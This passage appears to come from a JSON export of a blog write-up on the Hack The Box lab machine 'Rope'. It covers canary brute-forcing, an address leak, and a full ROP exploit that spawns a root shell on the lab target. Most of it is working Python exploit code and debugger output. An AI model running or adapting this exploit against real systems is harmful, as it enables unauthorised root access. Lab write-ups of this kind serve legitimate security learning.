&#x5B;rbp-0x8]\n<\/pre><\/div>\n\n\n<p>Let&#8217;s set a breakpoint here \u2026<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ b *0x5555555555cd\nBreakpoint 1 at 0x5555555555cd\ngdb-peda$ c\nContinuing.\n<\/pre><\/div>\n\n\n<p>\u2026 and send a pattern to the process:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# python -c &#039;from pwn import *;print(cyclic(256))&#039;|nc 0 1337\nPlease enter the message you want to send to admin:\n<\/pre><\/div>\n\n\n<p>The breakpoint is hit and we can determine which value will be moved to <code>rdx<\/code> as the saved canary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\n&#x5B;-------------------------------------code-------------------------------------]\n   0x5555555555c5:\tmov    edi,eax\n   0x5555555555c7:\tcall   0x555555555030 &lt;recv@plt&gt;\n   0x5555555555cc:\tnop\n=&gt; 0x5555555555cd:\tmov    rdx,QWORD PTR &#x5B;rbp-0x8]\n   0x5555555555d1:\txor    rdx,QWORD PTR fs:0x28\n   0x5555555555da:\tje     0x5555555555e1\n   0x5555555555dc:\tcall   0x555555555070 &lt;__stack_chk_fail@plt&gt;\n   0x5555555555e1:\tleave\n...\nThread 2.1 &quot;contact&quot; hit Breakpoint 1, 0x00005555555555cd in ?? ()\ngdb-peda$ x\/s $rbp-0x8\n0x7fffffffe138:\t&quot;oaaapaaaqaaar&quot;...\n<\/pre><\/div>\n\n\n<p>Accordingly the offset to the saved canary is <code>56<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# python\n...\n&gt;&gt;&gt; from pwn import *\n&gt;&gt;&gt; cyclic(256).index(&quot;oaaapaaaqaaa&quot;)\n56\n<\/pre><\/div>\n\n\n<p><h3 id=\"bruteforce\">Bruteforce<\/h3><\/p>\n\n\n\n<p>In order to reach the <code>ret<\/code> instruction at the end of the function and return to an arbitrary address we overwrote the return address with, we have to preserve the canary. Luckily the program will fork a new process on every connection and the stack canary will stay the same for all forks. This means that we can bruteforce the canary byte-by-byte. As it would be totally impratical to bruteforce a 56-bit canary (the lowest byte is always <code>0x00<\/code>) at once (2^56 = 72.057.594.037.927.936), it is quite acceptable to bruteforce it byte-by-byte (256+256+.. = 256*7 = 1.792).<\/p>\n\n\n\n<p>To bruteforce the canary we send <code>56<\/code> arbitrary bytes (buffer) + <code>0x00<\/code> (lowest byte of canary) + our guess for the second byte of the canary. If we successfully found the second byte, we proceed with the third and so forth.<\/p>\n\n\n\n<p>There is only one question yet. How can we determine if we chose the right value for the canary byte? Luckily the program is built quite suitable for this. If the stack canary in the vulnerable function (I renamed it to <code>getMessage()<\/code>) is destroyed, the program will exit immediately. Otherwise the function returns gracefully and the message <code>\"Done.\"<\/code> is send to the socket connection:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"198\" height=\"38\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img10.png\" alt=\"\" class=\"wp-image-1653\"\/><\/figure>\n\n\n\n<p>This means that we can determine if we found the right byte for the canary by watching for the message <code>\"Done.\"<\/code>. The following python script bruteforces the canary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# cat bruteCanary.py \n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\ncontext.log_level = 21 # disable connection log\n\nrhost = &#039;127.0.0.1&#039;\nrport = 1337\n\ncanary = &#039;\\x00&#039;\nexpl  = &#039;A&#039; * 56\n\nwhile (len(canary) &lt; 8):\n  for i in range(256):\n    fail = False\n    io = remote(rhost, rport)\n    io.send(expl+canary+chr(i))\n    try:\n      r = io.recvuntil(&#039;Done.\\n&#039;, timeout=1.0)\n      if (len(r) == 0): fail = True # timeout\n    except: fail = True # EOF\n    io.close()\n    if (fail):\n      if (i == 255):\n        print(&#039;bruteforcing failed&#039;)\n        quit()\n      continue\n    print(&#039;found canary byte: &#039; + hex(i))\n    canary += chr(i)\n    io.close()\n    break\n\nprint(&#039;canary fully bruteforced: &#039; + canary.encode(&#039;hex&#039;))\n<\/pre><\/div>\n\n\n<p>Running the script locally quickly reveals the canary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/bruteCanary.py \nfound canary byte: 0xee\nfound canary byte: 0x3a\nfound canary byte: 0x20\nfound canary byte: 0x68\nfound canary byte: 0x9e\nfound canary byte: 0xca\nfound canary byte: 0x19\ncanary fully bruteforced: 00ee3a20689eca19\n<\/pre><\/div>\n\n\n<p>Since we know the value of the canary now, let&#8217;s verify that we can control the instruction pointer by overwriting the return address.<\/p>\n\n\n\n<p>In order to do this, we attach to the running process and set a breakpoint at the <code>ret<\/code> instruction:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# gdb .\/contact $(pidof contact)\n...\ngdb-peda$ x\/20i (0x555555554000+0x159a)\n...\n   0x5555555555c7:\tcall   0x555555555030 &lt;recv@plt&gt;\n   0x5555555555cc:\tnop\n   0x5555555555cd:\tmov    rdx,QWORD PTR &#x5B;rbp-0x8]\n   0x5555555555d1:\txor    rdx,QWORD PTR fs:0x28\n   0x5555555555da:\tje     0x5555555555e1\n   0x5555555555dc:\tcall   0x555555555070 &lt;__stack_chk_fail@plt&gt;\n   0x5555555555e1:\tleave  \n   0x5555555555e2:\tret    \ngdb-peda$ b *0x5555555555e2\nBreakpoint 1 at 0x5555555555e2\ngdb-peda$ c\n<\/pre><\/div>\n\n\n<p>Now we use the following script to overwrite the canary with the original value and set the return address to <code>0xdeadbeefdeadbeef<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# cat expl_test.py \n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\nrhost = &#039;127.0.0.1&#039;\nrport = 1337\n\nio = remote(rhost, rport)\n\n# canary bruteforced beforehand\ncanary   = &#039;00ee3a20689eca19&#039;.decode(&#039;hex&#039;)\nrbp      = p64(0)\nret_addr = p64(0xdeadbeefdeadbeef)\n\nexpl = &#039;A&#039; * 56\nio.send(expl+canary+rbp+ret_addr)\nio.interactive()\n<\/pre><\/div>\n\n\n<p>When running the script, the breakpoint is hit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/expl_test.py \n&#x5B;+] Opening connection to 127.0.0.1 on port 1337: Done\n...\n\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x50 (&#039;P&#039;)\nRBX: 0x0 \nRCX: 0x7ffff7ef061d (&lt;__libc_recv+29&gt;:\tcmp    rax,0xfffffffffffff000)\nRDX: 0x0 \nRSI: 0x7fffffffe100 (&#039;A&#039; &lt;repeats 56 times&gt;)\nRDI: 0x4 \nRBP: 0x0 \nRSP: 0x7fffffffe148 --&gt; 0xdeadbeefdeadbeef \nRIP: 0x5555555555e2 (ret)\nR8 : 0x0 \nR9 : 0x0 \nR10: 0x0 \nR11: 0x246 \nR12: 0x555555555180 (xor    ebp,ebp)\nR13: 0x7fffffffe2b0 --&gt; 0x1 \nR14: 0x0 \nR15: 0x0\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x5555555555da:\tje     0x5555555555e1\n   0x5555555555dc:\tcall   0x555555555070 &lt;__stack_chk_fail@plt&gt;\n   0x5555555555e1:\tleave  \n=&gt; 0x5555555555e2:\tret    \n   0x5555555555e3:\tnop    WORD PTR cs:&#x5B;rax+rax*1+0x0]\n   0x5555555555ed:\tnop    DWORD PTR &#x5B;rax]\n   0x5555555555f0:\tpush   r15\n   0x5555555555f2:\tmov    r15,rdx\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe148 --&gt; 0xdeadbeefdeadbeef \n0008| 0x7fffffffe150 --&gt; 0x0 \n0016| 0x7fffffffe158 --&gt; 0x400000000 \n0024| 0x7fffffffe160 --&gt; 0x0 \n0032| 0x7fffffffe168 --&gt; 0x19ca9e68203aee00 \n0040| 0x7fffffffe170 --&gt; 0x7fffffffe1d0 --&gt; 0x5555555555f0 (push   r15)\n0048| 0x7fffffffe178 --&gt; 0x5555555554cf (mov    DWORD PTR &#x5B;rbp-0x24],eax)\n0056| 0x7fffffffe180 --&gt; 0x7fffffffe2b8 --&gt; 0x7fffffffe581 (&quot;.\/contact&quot;)\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 2.1 &quot;contact&quot; hit Breakpoint 1, 0x00005555555555e2 in ?? ()\ngdb-peda$ \n<\/pre><\/div>\n\n\n<p>As we can see, the top element on the stack, which is the return address, has successfully been overwritten with the value <code>0xdeadbeefdeadbeef<\/code>. If we continue the execution we get a segmentation fault, since the <code>ret<\/code> instruction pops this value into the instruction pointer. Accordingly we succeeded in controlling the instruction pointer.<\/p>\n\n\n\n<p>We can control the instruction pointer, but where should we jump to? We don&#8217;t know any address since <code>ASLR<\/code> is enabled and the binary was compiled with <code>PIE<\/code> as we already figured out:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# checksec contact\n...\n    PIE:      PIE enabled\n<\/pre><\/div>\n\n\n<p>Accordingly we need a leak first. In order to get this leak, we can simply carry on with our bruteforce approach. The next byte after the canary is the first byte of the saved rbp:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n&#x5B;canary]&#x5B;saved rbp]&#x5B;return address]\n<\/pre><\/div>\n\n\n<p>If we overwrite this byte with a value different from the original value, the program is likely to crash since we corrupted the saved rbp. When the program crashes, it won&#8217;t print out the message <code>\"Done.\"<\/code> and we can thus suppose that the value we wrote is not the original value just like we did with the canary. By bruteforcing another 16 bytes we can determine the values of the saved rbp as well as the return address. So let&#8217;s adjust the former bruteforce script a little bit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# cat bruteAll.py \n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\ncontext.log_level = 21 # disable connection log\n\nrhost = &#039;127.0.0.1&#039;\nrport = 1337\n\nbrute_str = &#039;\\x00&#039;\nexpl  = &#039;A&#039; * 56\n\nwhile (len(brute_str) &lt; 24):\n  for i in range(256):\n    fail = False\n    io = remote(rhost, rport)\n    io.send(expl+brute_str+chr(i))\n    try:\n      r = io.recvuntil(&#039;Done.\\n&#039;, timeout=1.0)\n      if (len(r) == 0): fail = True # timeout\n    except: fail = True # EOF\n    io.close()\n    if (fail):\n      if (i == 255):\n        print(&#039;bruteforcing failed&#039;)\n        quit()\n      continue\n    print(&#039;found byte: &#039; + hex(i))\n    brute_str += chr(i)\n    io.close()\n    break\n\nu = make_unpacker(64, endian=&#039;little&#039;, sign=&#039;unsigned&#039;)\ncanary   = u(brute_str&#x5B;:8])\nrbp      = u(brute_str&#x5B;8:16])\nret_addr = u(brute_str&#x5B;16:])\n\nprint(&#039;canary  : &#039; + hex(canary))\nprint(&#039;rbp     : &#039; + hex(rbp))\nprint(&#039;ret_addr: &#039; + hex(ret_addr))\n<\/pre><\/div>\n\n\n<p>Notice that I added a timeout in the <code>io.recvuntil<\/code> call, since the script might hang otherwise (this probably happens if we overwrite to return address with a value which makes the program not correctly terminating the socket connection). Running the script additionally yields the saved rbp and return address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/bruteAll.py \nfound byte: 0xee\nfound byte: 0x3a\nfound byte: 0x20\nfound byte: 0x68\nfound byte: 0x9e\nfound byte: 0xca\nfound byte: 0x19\nfound byte: 0x10\nfound byte: 0xe1\nfound byte: 0xff\nfound byte: 0xff\nfound byte: 0xff\nfound byte: 0x7f\nfound byte: 0x0\nfound byte: 0x0\nfound byte: 0x13\nfound byte: 0x55\nfound byte: 0x55\nfound byte: 0x55\nfound byte: 0x55\nfound byte: 0x55\nfound byte: 0x0\nfound byte: 0x0\ncanary  : 0x19ca9e68203aee00\ns_rbp   : 0x7fffffffe110\nret_addr: 0x555555555513\n<\/pre><\/div>\n\n\n<p>The bruteforced return address is a little bit different from the original return address, which can be inspected using gdb: <code>0x555555555562<\/code>. The reason for this is that the address we bruteforced (<code>0x555555555513<\/code>) is smaller than the original value, but did also point to a sequence of instructions, which send the message <code>\"Done.\"<\/code>. This doesn&#8217;t really matter since the 3 least significant nibbles (4 bit) are not altered by <code>ASLR<\/code> and we can assume that we landed somewhere in the sending function, which offset ranges from <code>0x14ee<\/code> to <code>0x1599<\/code>. Accordingly we landed at offset <code>0x1513<\/code> of that function, which makes the image base address equal to <code>0x555555555513 - 0x1513 = 0x555555554000<\/code>. Of course we know that is correct, since we turned off <code>ASLR<\/code> on our machine, but now we are able to successfully leak the image base address even if <code>ASLR<\/code> is turned on.<\/p>\n\n\n\n<p><h3 id=\"libcleak\">Libc Leak<\/h3><\/p>\n\n\n\n<p>In order to call a function like <code>system<\/code> from libc, we still need a libc address. Using the image base address we can construct a ROP-chain, which leaks such an address. Luckily the last call before the <code>ret<\/code> instruction within the function we are exploiting is <code>recv<\/code>, which makes <code>RDI<\/code> still hold the file descriptor of our socket connection. Thus we only need to store a libc address reference in <code>RSI<\/code> (e.g. <code>GOT<\/code> entry of <code>printf<\/code>) and the value <code>8<\/code> in <code>RDX<\/code> (count of bytes we want to leak). If we then trigger a call to <code>write<\/code>, the program will send us the 8 byte libc address. The ROP-chain looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\n\nimg_base = ret_addr - 0x1513\nprint(&#039;img_base: &#039; + hex(img_base))\n\npop_rdi     = 0x164b\npop_rsi_r15 = 0x1649\npop_rdx     = 0x1265\nwrite       = 0x154e\nprintf_got  = 0x4058\nprintf_offset = 0x54b40\n\n# leak libc address\n\nexpl  = &#039;A&#039; * 56\nexpl += p64(canary)\nexpl += p64(rbp)\nexpl += p64(img_base+pop_rdx)\nexpl += p64(8)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(img_base+printf_got)\nexpl += p64(0)\nexpl += p64(img_base+write)\nio = remote(rhost, rport)\nio.send(expl)\nio.recvuntil(&#039;admin:\\n&#039;)\nleak = u(io.recv(8))\nprint(&#039;leak     :&#039; + hex(leak))\nlibc_base = leak - printf_offset\nprint(&#039;libc_base:&#039; + hex(libc_base))\nio.close()\n<\/pre><\/div>\n\n\n<p>Since we leaked the value of the <code>printf GOT<\/code> entry, we need to subtract the <code>printf<\/code> function offset in order to get the libc base address. Notice that we are currently using the libc version from our local machine and must adjust these values to fit the remote machine. The offset can for example be determined by using <code>objdump<\/code> (<code>-T<\/code>: display dynamic symbol table):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# ldd contact \n\tlinux-vdso.so.1 (0x00007fff729b8000)\n\tlibc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007fefe4160000)\n\t\/lib64\/ld-linux-x86-64.so.2 (0x00007fefe4341000)\nroot@kali:~\/htb\/boxes\/rope\/loot# objdump -T \/lib\/x86_64-linux-gnu\/libc.so.6 | grep &#039; printf$&#039;\n0000000000054b40 g    DF .text\t00000000000000c8  GLIBC_2.2.5 printf\n\n<\/pre><\/div>\n\n\n<p>Running the script additionally yields the image base address as well as the libc base address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/bruteAll.py \ncanary  : 0x24d291a4243ec800\nrbp     : 0x7ffe9b7ee560\nret_addr: 0x559adf4ba513\nimg_base: 0x559adf4b9000\nleak     :0x7f58e3f0eb40\nlibc_base:0x7f58e3eba000\n<\/pre><\/div>\n\n\n<p><h3 id=\"finalexploit\">Final Exploit<\/h3><\/p>\n\n\n\n<p>Now we have all the information we need to forge our final exploit. Since we are connected to the process via a socket, we need to bind <code>stdin<\/code> and <code>stdout<\/code> to our connection in order to interact with a shell spawned by calling <code>system<\/code>. This can be done by using the <code>dup2<\/code> function:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\ndup2(socket_fd, 0);\ndup2(socket_fd, 1);\nsystem(&quot;\/bin\/sh&quot;); \n<\/pre><\/div>\n\n\n<p>Accordingly our ROP-chain for the final exploit looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\n\n# exploit\n\ndup2_offset   = 0xec1f0\nexecve_offset = 0xc8020\nsystem_offset = 0x46ff0\nbinsh_offset  = 0x183cee\n\n&quot;&quot;&quot;dup2_offset = 0x1109a0\nexecve_offset = 0xe4e30\nsystem_offset = 0x4f440\nbinsh_offset = 0x1b3e9a&quot;&quot;&quot;\n\nexpl  = &#039;A&#039; * 56\nexpl += p64(canary)\nexpl += p64(rbp)\n\n# dup2(socket_fd, 0)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(0)*2\nexpl += p64(libc_base+dup2_offset)\n\n# dup2(socket_fd, 1)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(1)+p64(0)\nexpl += p64(libc_base+dup2_offset)\n\n# system(&quot;\/bin\/sh&quot;)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(0)*2\nexpl += p64(img_base+pop_rdx)\nexpl += p64(0)\nexpl += p64(img_base+pop_rdi)\nexpl += p64(libc_base+binsh_offset)\nexpl += p64(libc_base+system_offset)\n\nio = remote(rhost, rport)\nio.send(expl)\nio.interactive()\n<\/pre><\/div>\n\n\n<p>Let&#8217;s verify that the exploit is working against our local machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/expl.py \nfound byte: 0x69\nfound byte: 0xfe\nfound byte: 0xba\n...\ncanary  : 0x76d6e733bafe6900\nrbp     : 0x7fff44fa9b00\nret_addr: 0x555e62f43562\nimg_base: 0x555e62f42000\nleak     :0x7f24af82ab40\nlibc_base:0x7f24af7d6000\nPlease enter the message you want to send to admin:\n$ id\nuid=0(root) gid=0(root) groups=0(root)\n<\/pre><\/div>\n\n\n<p>Great \ud83d\ude42<\/p>\n\n\n\n<p>In order to adjust the exploit for the actual target, we need to grab the 64bit libc version from it, which is not a big afford since we already have ssh access with the user <code>r4j<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# scp -i id_rsa_r4j r4j@10.10.10.148:\/lib\/x86_64-linux-gnu\/libc.so.6 .\/victim_libc.so.6\nlibc.so.6        \n<\/pre><\/div>\n\n\n<p>Now we need to adjust the libc offsets within the script and run it against the target. In order to do this, we forward the local port <code>1337<\/code> on our machine to the target host using ssh:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148 -i id_rsa_r4j\nWelcome to Ubuntu 18.04.2 LTS (GNU\/Linux 4.15.0-52-generic x86_64)\n...\nr4j@rope:~$ \n<\/pre><\/div>\n\n\n<p>If we now execute the script, it runs against the target:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/expl.py \ncanary  : 0xf653dbec3273f500\nrbp     : 0x7fff653b1420\nret_addr: 0x55d013913562\nimg_base: 0x55d01391204f\nTraceback (most recent call last):\n  File &quot;.\/bruteAll.py&quot;, line 74, in &lt;module&gt;\n    leak = u(io.recv(8))\n  File &quot;\/usr\/local\/lib\/python2.7\/dist-packages\/pwnlib\/tubes\/tube.py&quot;, line 78, in recv\n    return self._recv(numb, timeout) or &#039;&#039;\n  File &quot;\/usr\/local\/lib\/python2.7\/dist-packages\/pwnlib\/tubes\/tube.py&quot;, line 156, in _recv\n    if not self.buffer and not self._fillbuffer(timeout):\n  File &quot;\/usr\/local\/lib\/python2.7\/dist-packages\/pwnlib\/tubes\/tube.py&quot;, line 126, in _fillbuffer\n    data = self.recv_raw(self.buffer.get_fill_size())\n  File &quot;\/usr\/local\/lib\/python2.7\/dist-packages\/pwnlib\/tubes\/sock.py&quot;, line 54, in recv_raw\n    raise EOFError\nEOFError\n<\/pre><\/div>\n\n\n<p>Ouch. This didn&#8217;t work. The value for <code>img_base<\/code> doesn&#8217;t look correct as the last three nibbles should be zero. Since the environment of our local machine is slightly different than the target, the bruteforce of the return address yielded a different offset within the function, which sends the message <code>\"Done.\"<\/code>. Thus we only need to adjust this offset:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n#img_base = ret_addr - 0x1513\nimg_base = ret_addr - 0x1562\n<\/pre><\/div>\n\n\n<p>If we now rerun the script, we get a shell:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/finalExpl.py \ncanary  : 0xf653dbec3273f500\nrbp     : 0x7fff653b1420\nret_addr: 0x55d013913562\nimg_base: 0x55d013912000\nleak     :0x7f3e30704e80\nlibc_base:0x7f3e306a0000\nPlease enter the message you want to send to admin:\n$ id\nuid=0(root) gid=0(root) groups=0(root)\n$ ls -al\ntotal 56\ndrwx------  7 root root  4096 Jul  8 13:04 .\ndrwxr-xr-x 25 root root  4096 Jun 19 16:25 ..\ndrwxr-xr-x  2 root root  4096 Jun 19 19:06 bak\nlrwxrwxrwx  1 root root     9 Jun 19 17:15 .bash_history -&gt; \/dev\/null\n-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc\ndrwx------  2 root root  4096 Jun 19 19:13 .cache\ndrwx------  3 root root  4096 Jun 19 19:13 .gnupg\ndrwxr-xr-x  3 root root  4096 Jun 19 17:32 .local\n-rw-r--r--  1 root root   148 Aug 17  2015 .profile\n-rw-------  1 root root    33 Jun 19 19:21 root.txt\n-rw-r--r--  1 root root    66 Jun 20 06:07 .selected_editor\ndrwx------  2 root root  4096 Jun 19 15:06 .ssh\n-rw-------  1 root root 11133 Jul  8 13:04 .viminfo\n$ cat root.txt\n1c77 ... (output truncated)\n<\/pre><\/div>\n\n\n<p>Here is the final exploit script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\nimport time\n\ncontext.log_level = 21 # disable connection log\n\nrhost = &#039;127.0.0.1&#039;\nrport = 1337\n\nbrute_str = &#039;\\x00&#039;\nexpl  = &#039;A&#039; * 56\n\nwhile (len(brute_str) &lt; 24):\n  for i in range(256):\n    fail = False\n    io = remote(rhost, rport)\n    io.send(expl+brute_str+chr(i))\n    try:\n      r = io.recvuntil(&#039;Done.\\n&#039;, timeout=1.0)\n      if (len(r) == 0): fail = True # timeout\n    except: fail = True # EOF\n    io.close()\n    if (fail):\n      if (i == 255):\n        print(&#039;bruteforcing failed&#039;)\n        quit()\n      continue\n    print(&#039;found byte: &#039; + hex(i))\n    brute_str += chr(i)\n    io.close()\n    break\n\nu = make_unpacker(64, endian=&#039;little&#039;, sign=&#039;unsigned&#039;)\ncanary   = u(brute_str&#x5B;:8])\nrbp      = u(brute_str&#x5B;8:16])\nret_addr = u(brute_str&#x5B;16:])\n\nprint(&#039;canary  : &#039; + hex(canary))\nprint(&#039;rbp     : &#039; + hex(rbp))\nprint(&#039;ret_addr: &#039; + hex(ret_addr))\n\nimg_base = ret_addr - 0x1562\nprint(&#039;img_base: &#039; + hex(img_base))\n\npop_rdi     = 0x164b\npop_rsi_r15 = 0x1649\npop_rdx     = 0x1265\nwrite       = 0x154e\nprintf_got  = 0x4058\nprintf_offset = 0x64e80\n\n# leak libc address\n\nexpl  = &#039;A&#039; * 56\nexpl += p64(canary)\nexpl += p64(rbp)\nexpl += p64(img_base+pop_rdx)\nexpl += p64(8)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(img_base+printf_got)\nexpl += p64(0)\nexpl += p64(img_base+write)\nio = remote(rhost, rport)\nio.send(expl)\nio.recvuntil(&#039;admin:\\n&#039;)\nleak = u(io.recv(8))\nprint(&#039;leak     :&#039; + hex(leak))\nlibc_base = leak - printf_offset\nprint(&#039;libc_base:&#039; + hex(libc_base))\nio.close()\n\n# exploit\n\ndup2_offset = 0x1109a0\nexecve_offset = 0xe4e30\nsystem_offset = 0x4f440\nbinsh_offset = 0x1b3e9a\n\nexpl  = &#039;A&#039; * 56\nexpl += p64(canary)\nexpl += p64(rbp)\n\n# dup2(socket_fd, 0)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(0)*2\nexpl += p64(libc_base+dup2_offset)\n\n# dup2(socket_fd, 1)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(1)+p64(0)\nexpl += p64(libc_base+dup2_offset)\n\n# system(&quot;\/bin\/sh&quot;)\nexpl += p64(img_base+pop_rsi_r15)\nexpl += p64(0)*2\nexpl += p64(img_base+pop_rdx)\nexpl += p64(0)\nexpl += p64(img_base+pop_rdi)\nexpl += p64(libc_base+binsh_offset)\nexpl += p64(libc_base+system_offset)\n\nio = remote(rhost, rport)\nio.send(expl)\nio.interactive()\n<\/pre><\/div>\n\n\n<p>That&#8217;s it. Thanks for reading the article \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This article contains my writeup on the machine Rope from Hack The Box. I really enjoyed the box, since it provides a total of three custom binaries, which are supposed to be exploited \ud83d\ude42 The article is divided into the following parts: \u2192 User\u00a0\u00a0\u00a0\u00a0\u2013 Initial Recon\u00a0\u00a0\u00a0\u00a0\u2013 httpserver\u00a0\u00a0\u00a0\u00a0\u2013 Leak Memory Address\u00a0\u00a0\u00a0\u00a0\u2013 Exploit Format String Vulnerability\u00a0\u00a0\u00a0\u00a0\u2013 Escalating &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=1593\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Hack The Box &#8211; Rope&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[32],"tags":[9,13,44,43,18,42,45,10,38],"class_list":["post-1593","post","type-post","status-publish","format-standard","hentry","category-hack-the-box","tag-binary","tag-elf","tag-exploitation","tag-formatstring","tag-gdb","tag-hackthebox","tag-linux","tag-pwn","tag-python"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1593"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1593"}],"version-history":[{"count":58,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1593\/revisions"}],"predecessor-version":[{"id":1880,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1593\/revisions\/1880"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}